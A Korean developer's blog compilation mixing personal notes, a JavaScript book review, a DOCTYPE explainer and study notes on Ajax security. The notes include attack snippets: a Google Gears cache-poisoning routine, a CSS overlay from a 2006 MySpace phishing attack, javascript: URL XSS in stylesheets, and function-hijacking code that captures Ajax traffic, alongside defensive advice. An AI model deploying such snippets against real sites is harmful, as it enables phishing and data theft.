요새 회사 상황상 홈페이지를 만들게 되었다.
사실 난 하드코더 개발자는 아니고 서버쪽 개발자였지만 본의 아니게 공부한다는 생각으로 홈페이지를 만들었다.
근데...
역시..
난 무지 디자인 감각이 없구나 하고 생각했다.
흠..암튼 그건 그렇고
그래도 이전 싸이트에서 html 탬플릿 등을 여기저기 끌어다가 해볼작정으로 2주동안 디자인도 포토샵으로 하고..
html 을 최대한 요즘(?) 추세에 맞게 개발하려고 무지 노력했다.
물론..정답이 무언지는 명확히 모른다.
1.테이블로 구성되는 레이아웃은 배제한다.
-->여기서도 무조건 테이블 구조를 쓰지않는건 아니다. 만든 코드에도 있다.
2. 액션(javascript)와 표현 계층의 분리 이다.
처음에는 그런거 고민않했다. 하드코딩도 오랜만이라 걍 있는거 붙이다 쓰기도 하고 했는데..
드롭다운리스트 같은경우에는 기존 코드를 보아하니..물론 플젝하면서 걍~ 바빠서 여기저기 소스 끌어다 쓴게 다인데..이제 보니,..-_-;;; 거참..
암튼 이넘들도 최대 ie와 ff 사파리에서 돌도록 테스트를 했다.
IE도 7버전이 되면서 점차 표준화에 걸맞춰서 지원한다곤 하지만 IE 전용 무언가가 있다는 각박관념에 신경을 썼다.
모 요새 근황은 그렇고 지금 충동구매로 구매한 책을 보고 있다.
신현석님의 홈페이지 갔다가 본 책이다.
제목 자체가 뛰어난 웹 접근성의 실용 자바스크립트란다.
ppk는 저자의 약자이다.
이자의 홈페이지 www.quirksmode.com에 가면 더 많은 정보를 얻을 수있다.
아직 3장 까지 밖에 안봣지만..
여느 자바스크립트 책과 틀린점이 있다.
첫장부터 자바스크립트 문법은 안나온다.
최소 5장 부터 나온다.
이책은 웹 접근성과 표준에 대한 이야기가 많다.
과거 자바스크립트 소스 찾다가 우연히 본적은 있는데..
그넘의 이넘이었다니.ㅋㅋ
굉장히 이건 하지말아야 하고 이건 하는게 좋고 명확하다.
자기가 해보았던 거에 대한 거에서 부가 설명 소스 설명까지.
그러더 96년도에 자바가 뜨기 시작하여 마케팅 일환으로 이름이 자바스크립트로 변환 된거고...--
중간중간 이사람의 디버깅 하는 걸 적어 노았는데..-_-;
역시 어쩔수없이 alert 창과 confirm 창을 가지고 하더라.
물론 이책이 3년전에 출판된 책이지만 우리나라 번역은 작년 말..
나름 이책이 좋은 이유는 내가 front-end 개발자는 아니지만 웹 개발자라면..
특히 si 개발처럼 시간에 쫓껴서 여기저기 과거 코드 갖다 붙이기 식을 하다가..
정말 제대로 코딩하는건 몰까?라는 생각이 들때 보면..
아하~ 맞아 내가 이따구 했엇지..-_-;;
결국 머리속에 잘 들어온다.
많은 내용의 소스코드가 있는건 아니지만..
생각할 수있는 좋은 책이 아닌가 싶다.
수도 많은 브라우저와 javascript 문법(브라우져마다)
이거 맞춰서 구현하다간 날샌다; 그러니 너무 스트레스 받지 말자이다.~
한번쯤 웹 개발자라면 봐볼만 하다.
브라우저간의 CSS호완문제
Quirk mode와 Strict mode
css호완문제를 해결하기 위해 브라우저에서는 strict모드와 quirk모드를 제공하고 있습니다. strict모드를 사용하면 w3c가 지정해놓은 css standard의 규정을 따라 화면에 렌더링 하게 하는 모드이고, quirk모드는 각 브라우저만이 가지고 있는 css의 규정에 따라 화면에 렌더링을 하게 되는 것이죠. strict모드가 생긴 이유는 각 브라우저마다 css의 렌더링이 다르기 때문에 웹 개발자들뿐만 아니라 비지니스에서도 고통을 받았기 때문입니다. 개발자들은 개발자들 나름대로 호완을 위한 코딩 시간과 테스팅 시간이 더 필요했으며, 비지니스에서도 호완성문제를 위해 더 많은 시간투자와 그에 따른 비용부담이 더 늘어나게 되는 것이였죠.
(Quirk mode는 "퀄-ㅋ모드"로 발음이 나고, Strict mode는 "스트릭모드"로 발음이 나옵니다)
Quirk mode와 strict mode와 DOCTYPE
그렇다면 브라우저에서 quirk모드를 사용하거나 strict모드를 사용하고자 할시 어떻게 해야 하는 것일까요? 이 두가지 모드로의 전환은 doctype이란 것으로 합니다. 현대의 모든 브라우저에선 거진 두가지의 모드를 다 지원하고 있습니다. 기존 버젼의 css와의 호완성을 고려한 것뿐만 아니라 W3C의 스탠다드또한 고려한 것이기 때문이죠.
- doctype을 정의하지 않은 오래된 페이지는 당연히 quirk mode를 사용하게 됩니다. 기존의 css렌더링 룰을 따르게 되죠.
- 드림위버와 같은 html저작툴에선 자동적으로 doctype을 페이지의 가장 윗부분에 삽입시킵니다. 그 페이지는 브라우저에서 strict모드로 css를 렌더링하게 됩니다.
- 새로운 doctype이나 알려져 있지 않은 doctype을 사용하여도 strict모드로 전환하게 됩니다.
- 어떤 페이지는 doctype이 있긴 하지만 quirk mode를 사용하게 됩니다. 바로 이것 때문에 css의 호완성 문제가 생기기도 하죠. 즉, 브라우져마다 자체적으로 지정한 doctype들이 있고 특정 doctype들은 quirkmode로 전환하게 하는 스위치의 역할을 합니다. 자세한 내용은 Browser Comparison Chart를 확인해 보세요.
추천하는 DOCTYPE
strict모드에선 IE만이 가지고 있는 스타일들은 무시 됩니다. 즉 스크롤바의 스타일과 같은것이 먹통이 되는 것이죠. doctype때문에 스크롤바의 스타일이 적용되지 않은 것을 보시고 해결책을 찾는 경우가 많이 있었을 것이라 예상하는데(사실 저도 한때 해결책을 찾았었죠... -0-), W3C의 스탠다드를 적용하시려면 IE만의 스타일 습관을 없애는 것이 좋을 것이라 생각합니다.
제가 추천하는 mode는 standard입니다. 이 standard는 매우 엄격한 룰을 가지고 있기 때문에 table레이아웃보단 css레이아웃을 사용하시는 편이 좋을 것이죠. 이 standard를 위한 doctype은 다음과 같습니다.
PLAIN TEXT
HTML:
-
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
이 standard에서의 문제는 img태그 사용시 img의 바로 밑에 빈 공간이 생기게 됩니다. 따라서 table을 사용한 레이아웃에선 의도한 디자인이 나올수가 없겠죠. img태그와 그외 strict모드에서 사용되지 않는 tag를 사용하고자 할땐 loose doctype을 사용하 실 수 있습니다.
PLAIN TEXT
HTML:
-
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
Summary
HTML페이지의 doctype을 자주 보아 왔지만, 정확히 이 Doctype이 무엇을 위해 사용되었는진 자세히 몰랐을 것입니다. 저또한 처음에는 몰랐었죠. 요즘같이 웹 개발에 standard를 적용하자는 움직임이 많이 있기에 저또한 standard에 쉽게 접근 할 수 있도록 이런 글을 쓰게 된 것입니다. 이 글 속에서 잘못된 내용을 찾게 되신다면 코멘트에 남겨 주시던가 저에게 이멜을 해 주세요.
출처:
http://www.quirksmode.org/css/quirksmode.html
http://www.htmlhelp.com/tools/validator/doctype.html
http://hsivonen.iki.fi/doctype/
출처: http://blog.naver.com/cookie_00?Redirect=Log&logNo=80035178021
● 오프라인 Ajax 어플리케이션
오프라인 ajax 어플리케이션은 일반적으로 Ajax 애플리케이션보다 클라이언트를 더 의존하게 되어있다. 구글기어(Google Gear)같은 오프라인 프레임워크는 SQL 데이터 베이스를 제공하는 등 클라이언트에 많은 기능을 제공한다. 하지만 클라이언트 단에 SQL 인젝션 공격 같은 새로운 이슈를 야기한다. (http://gears.google.com/)
1. 오프라인 Ajax 어플리케이션
오프라인 ajax 애프리케이션은 인터넷에 연결되어 있지 않더라도 동작 할 수 있게 한 웹 애플리케이션이다.
온라인 일때는 웹서버는 Ajax 표준대로 요청을 받아 처리하고 오프라인일때는 웹서버로부터 받은 HTML,CSS, 자바스크립트의 로컬 복사본을 캐시해서 사용한다. 데이터는 로컬 데이터 베이스에 저장해 놓고 다시 인터넷에 접속하면 다시 동기화 한다.ex)Google Calendar ,Google Reader, Google doc
<그림> 오프라인 애플리케이션은 인터넷에 연결되어 있는 여부에 따라 로컬 머신이나 리모트 머신에 데이터를 저장할 수 있다.
2. 구글 기어(Google Gear)
브라우저 플러그인으로 오프라인 Ajax 애플리케이션을 수월하게 만들수 있다. 대부분의 브라우져에 제공한다.
1) 구글 기어 구성
로컬서버(Local Server): 웹 페이지 리소스를 로컬에서 캐싱해 제공하는 서버
데이터 베이스:데이터를 로컬에 저장하는 클라이언트단 SQL 데이터베이스
작업풀(WorkerPool):무거운 자바스크립트 코드를 실행하는 기존 작업과 분리된 작업 스레드를 운영해 사용자가 다른 작업을 하는데 지장이 없게 하는 실행 환경 제공,암호화나 정렬,최단 경로 찾기 알고리즘 등 무거운 자바스크립트 모듈을 웹 브라우저의 동작에 영향을 주지않도록 별도의 스레드에서 사용.
로컬에서 저장됐던 리소스를 가져다 쓰며, 인터넷 연결여부에 상관없이 작동되며,애플리케이션에 표시된 URL 주소는 변하지 않는다는 점이다. 또한 자바스크립트가 사용할 수 있는 클라이언트 단 데이터 베이스를 제공한다. (보안 기능과 전체 텍스트 검색 기능이 추가된 SQLite DB)
-자체 보안 기능과 구글 기어의 단점
기본적으로 동일 출처정책(Same Origin Policy)를 따른다. 구글은 단일 Url 구조,호스트이름,포트를 함께 유일 출처를 정의 했다. http://site.com:80 의 웹페이지는 http://site.com:80 의 다른 웹 페이지가 사용하는 캡처된 리소스가 있는 데이터 베이스에 접근할 수 있다. 웹서버 내의 경로에서 구글 기어의 리소스에 접근을 제한하는 방법이 없다. 쿠키의 Path 속성이 없다.
보안권고
하지말 것
제어 할 수 없는 애플리케이션이 돌고 있는 웹서버상에 구글 기어를 사용한 오프라인 애플리케이션을 배포하지 마라.
할 것
가능 하면 구글 기어 상위단에 만들어진 오프라인 Ajax 애플리케이션을 크로스 디렉토리 공격을 막기 위해 독립된 서브도메인에 두자.
구글 기어는 사전 등록제(Opt-in)서비스 이다. 아래의 대화 상자를 보여주면서 명시적으로 사용자가 허락 해야 한다. 또한 alert(), confirm()같은 네이티브 함수를 하이재킹 할 수 없다.(커스토마이즈 안됨)
그림> 사용자는 웹사이트가 구글 기어 브라우저 플러그인을 사용하도록 명시적으로 허락 해야 한다.
구글 기어 데이터 디렉토리의 permission.db 에는 구글 기어를 사용하도록 허락된 웹 사이트 인가 목록(permission list) 이 있다.
구글 기어 브라우저 플러그인 외에 다른 데스크탑 애플리케이션이 이 파일을 수정하지 못하게 무결성 체크나 해시값이 없다. OS 마다 사용자가 다른 구글 기어 데이터로의 접근을 막는 것을 전적으로 OS에 의존하고 있다.
• Internet Explorer on Windows Vista. 예:
C:\Users\<USER NAME>\AppData\LocalLow\Google\Google Gears for Internet Explorer
• Internet Explorer on Windows XP. 예:
C:\Documents and Settings\<USERNAME>\Local Settings\Application Data\Google\Google Gears for Internet Explorer
• Firefox on Windows Vista. 예:
C:\Users\<USER NAME>\AppData\Local\Mozilla\Firefox\Profiles\<RANDOM>\Google Gears for Firefox
• Firefox on Windows XP. 예:
C:\Documents and Settings\<USER NAME>\Local Settings\Application Data\Mozilla\Firefox\Profiles\<RANDOM>\Google Gears
for Firefox
•Firefoxon Linux. 예:
/home/<USER NAME>/.mozilla/firefox/<RANDOM>/Google Gears for Firefox
•FirefoxonMacOS-X. 예: Users/<USER NAME>/Library/Caches/Firefox/
Profiles/<RANDOM>/Google Gears for Firefox
SQLite를 구현할 때 DB 보안 사항을 다루는 방대한 기능을 제공
구글 기어가 구현한 SQLite 에는 ATTACH, DETACH 기능이 없다. DETACHE기능은 SQLite 가 다른 사용자의 SQLite DB를 열 수있게 한다. 또한 SQLite 설정을 다양하게 바꾸는 PRAGMA 구문도 없다.
웹사이트가 사용자 머신에 저장할 수 있는 데이터의 양을 제한 하지 않는다. 따라서 로컬 머신에 데이터를 계속해서 저장해서 서비스 거부 공격을 일으킬 수있다.따라서 개발자는 사용자 머신에 데이터를 저장할 때 주의해서 코드를 작성 해야한다.
데이터 삭제를 다루는 GUI인터페이스가 없다. 구글기어가 위치한 디렉토리 가서 파일을 지워야 한다.
-LocalServer 데이터의 노출과 감염
LocalServer 에서는 모든 타입의 리소스 캐시가 가능하다. 민감한 정보가 될 수도 있다. Ajax 애플리케이션이 동일 호스트에서 돌고 있는 다른 Ajax 애플리케이션의 LocalServer 이름을 정확히 알고 있다면 LocalServer 에 접근 할 수 있다. 만약 오프라인 모드에서 이브의 애플리케이션을 방문하면,이브의 웹 페이지는 iframe으로 inbox.html 을 가리키게 해서 인박스의 내용을 훔칠 수 있다. 즉,로컬 스토어 객체에서 직접 민감한 정보를 빼낼 수 있다.
그림> 오프라인 애플리케이션임 ajax 메일 사용자의 받은 편지함
그림> 동일 서버에서 돌고 있기 때문에 이브의 애플리케이션은 Ajax 메일의 LocalServer 에 저장된 내용을 읽을 수 있다.
보안권고
하지말 것
애프릴케이션이 오프라인 모드일 때 LocalServer 에는 사용하지 않는 민감한 정보를 담은 리소스를 저장하지 마라.
할 것
LocalServer의 리소스에 저장하는 크기는 오프라인 모드일 때 올바르게 동작 할 수 있는 최소한 의 크기로 유지하라.
var STORE_NAME = 'ajax-mail'
var store;
var server;
function setupSmash() {
if (!window.google || !google.gears) {
//No Google Gears
return;
}
server = google.gears.factory.create('beta.localserver',
'1.0');
store = server.openStore(STORE_NAME);
//가짜 인박스 페이지의 로컬 복사본 캡처
store.capture('fake-inbox.html', null);
}
function smashTheCache() {
//remove the original version from the cache
store.remove("../AjaxMail/inbox.html");
//set our fake inbox as the new cached inbox page
store.copy('fake-inbox.html', "../AjaxMail/inbox.html");
}
-구글 기어 데이터 베이스로의 직접 접근
알려져 있는 데이터 베이스 브라우저로 접근이 가능하다.
그림>SQLite DB를 보거나 수정 할 수 있는 공개된 툴로 구글 기어 DB를 다루는 모습
구글 기어DB에 있는 데이터는 수정하기 쉬우므로 안전하지 않다는 것.데이터를 추출 할 때 올바른 것인지 검증 해야한다.
-SQL 인젝션과 구글 기어
SQLite가 SQL의 모든 기능을 지원하지 않더라도 SQL 인젝션 공격이 가능한 조건을 갖추고 있기 때문이다.
SQLite에는 컬럼 데이터 타입에 대해 강력한 타입 제한이 없다. 두쿼리 간의 데이터 타입을 맞출 필요 없이 컬럼 개수만 맞춰주면되기 때문에 UNION SELECT SQL 인젝션 공격에 취약하게 만든다. 공격자가 의도적으로 탕칩 변환 하여 에러를 유도 하거나 데이터를 추출 할 수 없게 만들기도 한다.
SQLite 는 주석을 – 로 처리하는데 마지막에 있는 SQL문의 주석을 없애고 SQL을 삽입하면된다.
한번의 실행 스텝에 여러 쿼리를 수행 할 수 없다. select name form customer;select* form orders를 수행 할 수 없다.
그림>리스트 마니아는 여러 개의 리스트를 사용할 수 있는 오프라인 ajax 애플리케이션이다.
인용부호 한 개를 기입하여 에러를 발생 시켜 보자 아래의 스크립트 SQL 에러를 볼 수 있다.
그림> SQL 문에서 인용부호가 일치하지 않아 에러 정보를 뿌려주고 있다.에러 정보는 공격자에게 시스템의 취약한 부분을 알려 줄 수 있다.
에러메시지로 많은 정보를 얻을 수 있는데 구글 기어의 DB 에러는 try,catch 문에서 예외 처리가 되는데 아래의 그림은 UION SELECT 공격을 행했다.
그림> SQL 인젝션으로 구글 기어 DB의 데이블 이름을 추출 하고 있다.
물론 애플리케이션의 자바스크립트는 DB에 접근 할 수 있다. 크로스 사이트 스크립팅 공격은 클라이언트단 DB에서 정보를 훔칠 수도 있다.
그림>GGHOOK이 자바스크립트 환경에 있는 구글 기어 DB객체의 모든 정보를 자동적으로 끄집어 내는 모습
-클라이언트단 SQL 인젝션도 위험한가?
DB를 마음대로 핸들링 할 수 있지만 공격자가 클라이언트단 DB에 SQL 인젝션 공격을 하면 얘기가 틀려진다.
그림>공격자가 공격대상인 클라이언트와 바로 통신 할 수 없으므로 SQL 인젝션에 약한 클라이언트 단의 데이터를 바로 끄집어내기는 어렵다.
이브가 공격결과를 알 수는 없지만 문제는 앨리스의 머신에 SQL 명령을 수행 할 수 있다는 것이다. 더욱이, 이브가 SQL 인젝션 결과를 볼 수 없다는 것도 잊으면 안된다. 앨리스의 DB에서 데이터를 보내는 것이 메신저 동작 일부라고 볼 수 도 있다.
3.Dojo.Offline
Dojo.Offline 은 오프라인 애플리케이션 개발을 용이하게 하는 Dojo의 확장 기능이다. Dojo 프레임워크의 특정 기능이 추가됐고 구글 기어 기반이다.구글 기어기능과 함께 Dojo.Offline 에선 보안을 위해 ENCRYPT,DECRYPT SQL 명령을 제공한다. 이것을 사용하면 구글 기어 DB에 민감한 데이터를 넣을 수있다. 256비트 AES(Advanced Encryption Standard)를 자바스크립트로 구현되어 있다.
dojox.sql("INSERT INTO CUSTOMERS VALUES (?, ?, ENCRYPT(?))",
"Neuberg", "Brad", "555-34-8962", password,
function(results, error, errorMsg){
if(error){ alert(errorMsg); return; }
});
//... later in code
dojox.sql("SELECT last_name, first_name, " +
"DECRYPT(social_security) FROM CUSTOMERS", password,
function(results, error, errorMsg){
if(error){ alert(errorMsg); return; }
// go through decrypted results
alert("First customer's info: "
+ results[0].first_name + " "
+ results[0].last_name ", "
+ results[0].social_security);
});
-키를 안전하게 보호 하자.
절대로 자바스크립트 프로그램에 키를 저장해서는 안된다.코드에 키를 하드코딩해서도 안된다. 클라이언트단 DB에 저장해도 안 된다. 노트북을 노난당했다면 데이터와 복화화할 수 있는 키를 모두 훔쳤다고 볼 수있다. 따라서 키가 필요하다면 사용자 입력을 받도록 애플리케이션 환경을 구성해야 한다. 키를 임시로 저장해놓고 반드시 삭제 하는 키관리에 신경을 써야한다.
-데이터를 안전하게 보호하자
DOM에 쓰지않은 엘리먼트를 없애고 민감한 데이터의 복사본을 저장하는 위치를 최소화 하고 암호화 되지않는 데이터를 저장하는 변수를 더 이상 사용하지않으면 지워라.
사용자가 입력한 패스워드가 데이터를 복호화 하는 합당한 패스워드인지 검사할 방법은 AES 에는 없다. AES는 원래 내용과 다른 평문으로 복호화 해도 에러를 내지 않는다. 이런 상황에선 AES는 전혀 알 수 없는 복호화 결과를 낼 것이다. 이를 방지 하려고,일부 개발자는 알려진 평문을 이용하기도 한다. 예로, 사회보장 번호가 999-99-999 라고 하면 잘못된 결과라고 하고 재입력하게되는데 알려진 평문 공격이라 하여 보안 강도를 약화 시킨다.
보안권고
하지말 것
특정한 평문을 암호화하고 복호화 하는 방법으로 입력한 패스워드가 알맞은 것인지 확인하는 절차를 사용하지 말라.
할 것
피드백을 바란다면 화이트리스트 입력 값 검증의 정규식 표현식을 이용하여 검증한다. 이런 방법은 공격자에게 암호화된 데이터에 대한 힌트를 주지 않는다.
-패스워드의 선택이 멋진 키를 좌우한다.
Dojo.Offline 은 AES 암호화/복호화 256 비트 키를 사용한다.Dojo 암호화를 효율적으로 이용하려면 사용자는 32글자로 이뤄진 문자를 암호로 입력해야 한다. 키를 강하게 하려면 32글자를 사용자가 직접 입력하게 하는건 무리가 따르기 때문에 32글자가 되도록 패스워드를 반복하는 것이다.32글자의 각각이 고유한 패스워드보다 강도는 떨어지지만 0xFF를 채워 넣는것보다 강도가 높다.
4. 클라이언트단을 검증하자.
클라이언트 단 입력 검증은 애플리케이션의 성능을 향상 시키고,서버단 입력 검증은 보안을 보장하는 유일한 방법이다.하지만 오프라임 어플리케이션에서는 인터넷연결 여부와 상관없이 동등하게 기능을 사용할 수있는데 초점을 둔다.따라서 더 많은 입력 검증이 필요하다.대부분 클라이언트 단의 검증 로직을 수행 하기 위해서는 특정 라이브러리나 프레임워크를 사용해야하는데 검증코드를 충족하게 만족하게 나와있는 것은 찾기 힘들다.또한 온라인과 오프라인 둘다 사용할 수있는것인지 가를 검증해보아야 한다.
5.오프라인 애플리케이션에 대한 그 밖의 접근법
애플리케이션 전체를 사용자의 로컬 머신에 복사(ex.CAL9000)
페이지는 file://URI 로접근 하여 보안상 가장 큰문제는 일반적인 자바스크립트도 훨씬 많은 권한을 가진다.
애플리케이션 일부로 로컬 웹서버를 이용하는 것이다. 하지만 혼란 스러운 면이 서버단 언어로 만들어진 로직이 클라이언트단 웹 서버에서 운영하니 이를 클라인트 단이라 봐야 하는가 서버단이라 봐야하는가? 논란이 있다.
주목할 만한 것은 어도비 아폴로, Joyent slingshit, WHATWG 등
결론
이전에서 알아보았던 코드의 투명성과 관련된 이슈를 처리하는 것은 쉽지않다. 표준 ajax 애플리케이션을 개발할 때 클라이언트단에 분담하는 비즈니스 로직을 최소화 할 수는 있지만 최소화 하는 만큼 활용할 수 있는 기술 범위가 축소되어 버린다. 보안 모델이 어떤 것인지 고려할 뿐만 아니라 디스크 제한 기능이 있는지 크로스 디렉토리 공격에 취약하지 않은 지도 고려해야한다. LocalServer에 투명한 로컬 캐시 기능은 캐시 감염에 취약하다. 개발자가자가 보안 기능을 강화 하기 위해 클라이언트단 검증을 수행 해야 한다.
스마트 폰이라는 것이 정말 큰 수익 사업이 국내에서 될 수있을까라는 생각을 해보았다. 개발자라는 나 조차도 휴대폰은..그냥 일반 폰이다. 언젠가 프로젝트에서 만난분은 수시로 주식을 휴대폰으로 하고, 그러던데.. 아무튼 몰라서 그러지만 폰 뱅킹이 월 얼마 정도 900인가 추가 내면 된다나 그래도안한다.
이 쪼그마한 휴대폰으로 몰 하겟냔 말이다. 우선 비용도 비싸고 .. 블로그 뉴스를 보아하니..내생각과 딱 맞는다. 해외에 아이폰이나 오바마의 블랙베리 폰 같은건 정말 국내에서 얼마나 사람들이 사용할까? 구글의 막강한 기술력으로 구글폰도 출시 임박이라던데..
국내에서 삼성의 휴대폰 시장을 잠식 할 수있을까라는 의문 부호를 가지게 만든다. 타겟이 해외라면 모르겟지만 국내시장에서 스마트 폰 개발자를 해보려면 좀 생각을 해봐야한다. 잘되면 대박 안되면 쪽박 이건..너무하자나..ㅡㅡ
프리젠테이션 계층에 대한 공격
최근 매시업과 사용자 제공 컨텐츠와 같이 웹사이트 페이지의 구성요소와 렌터링 제어권을 사용자에게 주어지고 있다. 다음은 프리젠테이션 정보로 애플리케이션을 악용하는 예를 살펴볼 것이다.
웹페이지를 이루는 구성요소
1.콘텐츠
2. 프리젠테이션 정보
프리젠테이션 정보로 콘텐츠 영역을 나누어 텍스트 굵기,폰트 크기.폰트 형태,테이블,박스,색깔 처리를 할 수있다.
3. 함수정보
개발자의 흔한 실수가 콘텐츠,프리젠테이션,함수정보를 한페이지에 작성하여페이지 중복데이터를 야기한다.
그림> 밴드 배드 리리전을 다룬 위키피디아 페이지
한곳에 모든 컨텐츠를 관리 하게 되면 유지보수성이 나빠진다.
파일을 크기도 크기 때문에 한번에 필요없는 요소들도 다운로드 되야한다.
그림> 콘텐츠, 프리젠테이션, 함수 정보를 단일 HTML에 두는 것은 불필요한 정보를 알리는 꼴이 된다.
1.프리젠테이션 계층에 대한 공격
보안을 고려하는 개발자라면 세종류의 정보 타입이 담고 있는 내용을 철저히 보호 해야 한다.
예를 들어 누군가 임의로 폰트크기를 바꾼다하면 보안상 문제를 야기 할 수있다.
2. CSS 에서 정보 가져오기
관리자영역의 클래스와 스타일 시트도 정의 되있다. style.css 에 정의된 클래스 참조(#admin-bar)를 나타내고 있다.
그림> CSS 가 부주의로 인해 관리자 영역을 드러내고 있는 모습
CSS 도 마찬가지로 다른 리소스와 콘텐츠에 대한 데이터가 노출 될 수 있다.
3. 해킹의 룩앤필
공격자가 CSS 제어권을 얻게 되면, 사이트 외관을 완전히 바꿀 수 있다. 해당 기술을 해킹의 룩앤필(look and feel hack)이라고 하며 실제 피해 정도를 축소시키려는 경향이 있다.
|
<html> <head> <title>CSS Clobbering Test</title> </head> <body> <style> h1 { color: red; font-family: sans-serif; font-size: 42pt; } </style> <h1>Test 1</h1> <style> h1 { color: green; font-family: Courier; font-size: 8pt; } </style> <h1>Test 2</h1> </body> </html> |
그림>마이페이스 메뉴바가 맞나?
피셔가 이런 기술로 적법한 마이스페이스 메뉴바를 덮어 쓸 수있다.
마이페이스에서 나타난 여러가지 문제는 그 자체가 피싱 공격에 취약한 구조이기 때문이다. 첫째, 마이스페이스 세션은 만료가 빨리와서 사용자가 흔히 암호를 재입력한다. 둘째 SSL 로그인을 하지 않는다.이런 기능을 사용하지 않기 때문에 피싱에 약하다.
ex)2006년 12월에 발생한 피싱 공격 예
|
<style type="text/css"> div table td font { display: none } div div table tr td a.navbar, div div table tr td font { display: none } .testnav { position:absolute; top: 136px; left:50%; top: 146px } </style> <div style="z-index:5; background-color: #6698CB; margin-left:-400px; width: 800px" align="center" class="testnav"> <!-- Menu with Phishing links Goes Here --> </div> |
적법한 메뉴바의 스타일을 덮어쓰고 display 속성을 none으로 설정해 보이지 않게 한다.새로운 스타일 클래스 testnav 가 정의됐는데 적법한 메뉴바의 위치와 똑같게 되어 있다. DIV 태그가 testnav 클래스를 쓰게 되고,피싱 사이트를 가르키게 됐다.
삽입된 프로그램 로직
전역 CSS에 자바스크립트 코드를 삽입 할 수있다면 사용자가 페이지를 방문할 때 마다 자바스크립트를 실행할 것이다. 이런 특성을 이용하면 악의적인 자바스크립트가 스타일 시트에 삽입되면 참조하는 모든 페이지에서 동작하기 때문에 영속적인 크로스 사이트 스크립팅 공격을 가능하게 한다.또한 CSS 에 자바스크립트를 삽입할 수있다. javascript:Url 형식으로 추출할 수있다.
ex)
|
<html> <table background="javascript:alert('0wn3d')"> </html> |
Table 태그의 백그라운드 속성으로 백그라운드 이미지를 지정하게 되어있다. 백그라운드 속성을 CSS선언으로 바꾸는 것은 어렵지 않다.
|
table { background-image: url("javascript:alert('0wn3d');"); background-repeat: no-repeat; } |
크로스사이트 스크립팅(XSS)은 제한이 없는 실행 코드이다. 공격자가 XSS로 모든 종류의 악의적인 코드를 수행 할 수있다.확장해서 Body 태그를 바꾸어 보자.
|
body { background-image: url("javascript:alert('0wn3d');"); background-repeat: no-repeat; } |
이렇게 되면 위의 CSS를 참조하는 모든 웹 페이지를 선택 할때마다 자바스크립트가 실행된다.
3.CSS 요소
브라우저의 플러그임으로 스타일 정보를 볼 수있다.파이어폭스의 DOM 인스펙션 기능을 갖고 있는 파이어 버그로 엘리먼트에 적용된 스타일을 보거나 정의한 곳을 보여주고 있다.
그림>파이어버그의 DOM 인스펙션 기능은 DOM 엘리먼트에 적용된 스타일 정보를 보여준다.
4. 프리젠테이션 계층 공격 방지
프리젠테이션 공격에 대한 첫번째 방어 방법은 어떤 위험 요소가 있는지 파악하는 것이다
사용자 정의 스타일 시트를 제공할 때 주의 해야한다. CSS 시트는 다른 입력폼과 마찬가지로 반드시 검증해야 한다. 불행히도 임의의 CSS 파일을 검증하는 화이트리스트 정규 표현식은 없다. 덮어쓰기 방지하는 효율적 방법은 사용자 정의 스타일 규칙을 시스템 정의 스타일 규칙 앞에 두는 것이다.
결론
프리젠테이션 정보는 다양한 방법으로 공격에 악용된다. 개발자는 제공 스타스타 제공할 때 발생할 수 있는 위험에 대해 충분히 인식해야 한다.
1. Ajax어플리케이션 하이재킹
자바스크립트가 가진 특성 때문에(동적인 측면) 하이재킹으로 인한 보안 문제가 일어난다. 함수를 선언하고 나서 후에 재정의 할 수 있는 특징 때문이다.
ex)
|
<script> function sum(x,y){ var z=x+y; alert(“sum is” +z); } setTimeout(“sum=function(){alert(‘hijacked’);}”,5000); </script> <input type=”button” value=”5+6=?” onclick=”sum(5,6);”/> |
실수로 인한 함수 덮어쓰기
자바스크립트의 특성상 같은 함수 이름이 들어가 있을 경우 나중의 함수가 호출된다.
이를 막기 위해 네임스페이스(namespace) 개념을 도입하면 된다.
|
var Utils={}; Utils.debug=function(){…}; |
하지만,실수로 코드를 덮어쓰는 것을 막기 위해 힘쓰지만 의도적으로 덮어쓰면 자신의 원하지 않게 동작하거나 멈출 수 있다.
그림 > 같은 범위의 같은 이름으로 선언되었을 때 마지막에 선언된 함수가 전에 선언된 함수를 덮어쓴다.
그림 7-2>분리된 네임스페이스는 자바스크립트 라이브러리가 실수로 기존 함수를 덮어쓰는 것을 막아준다.
함수 덮어쓰기 예
ex)
|
new Ajax.Request('/FuncHijack/data.xml', { method:'get', onSuccess: function(transport){ var response = transport.responseText || "no response text"; alert("Success! \n\n" + response); }, onFailure: function(){ alert('Something went wrong...') } }); |
Ajax.Request와 OnSuccess는 자바스크립트 실제 함수 코드에 대해 참조만 하고 있다.따라서 아래의 코드가 가능 하다.
|
//원 함수에 대한 참조 생성 var oldAlert = window.alert; //참조로 원 함수를 부르는 끼워넣기 함수 생성 function newAlert(msg) { out = "And the Earth Trembled with the message:\n\n"; out +=msg.toUpperCase(); out +="\n\n... And it was Good." oldAlert(out); } //window.alert 를 덮어쓰기 하여 사용자가 만든 끼워넣기 함수를 가리키게 한다. // window.alert = newAlert; alert("Hey! What are you guys doing on this roof\n\t-Security"); |
단계
1.원래 경고 함수에 대한 참조를 생성
2. 끼워넣기 함수를 생성
3.함수를 가르키던 기존참조를 없애고 끼워넣기 함수를 가르키게 한다.
프로토 타입의 Ajax.Request 함수에 대해서도 적용할 수있다.끼워넣기 함수가 OnSuccess 함수도 해이재킹해 HTTP 요청과 응답정보를 볼 수도 있다.
그림>프로토 타입을 이용함 Ajax 애필리케이션의 트래픽을 끼워넣기 함수로 캡처해 보여주고 있다.
|
//프로토 타입의 Ajax 핸들러에 대한 참조 생성 var oldRequest = Ajax.Request; //원래의 응답 핸들러에 대한 참조 생성 function FakeAjaxRequest(a, b) { var url = a; var options = b; //원래의 응답 핸들러에 대한 참조 생성 var oldCallback = options.onSuccess; //응답 핸들러에 대한 끼워 넣기 함수 생성 var ShimCallback = function(x) { var out = 'Captured Traffic\n'; out += options.method.toString().toUpperCase() + " " + url + " HTTP/1.1\n"; out += "=== Response ===\n"; out += x.status + "\n"; out += x.responseText; alert(out); //원래의 응답 핸들러에 값 건네기 oldCallback(x); }; //B-2의 끼워넣기 함수를 응답 핸들러가 가르키게 하기 options.onSuccess = ShimCallback; //요청 핸들러 생성자에 값 건네기 return new oldRequest(url, options); } //Ajax.Request를 오버라이드 할 때 전역 변수를 건드리는 것이 필요 FakeAjaxRequest.Events = ['Uninitialized', 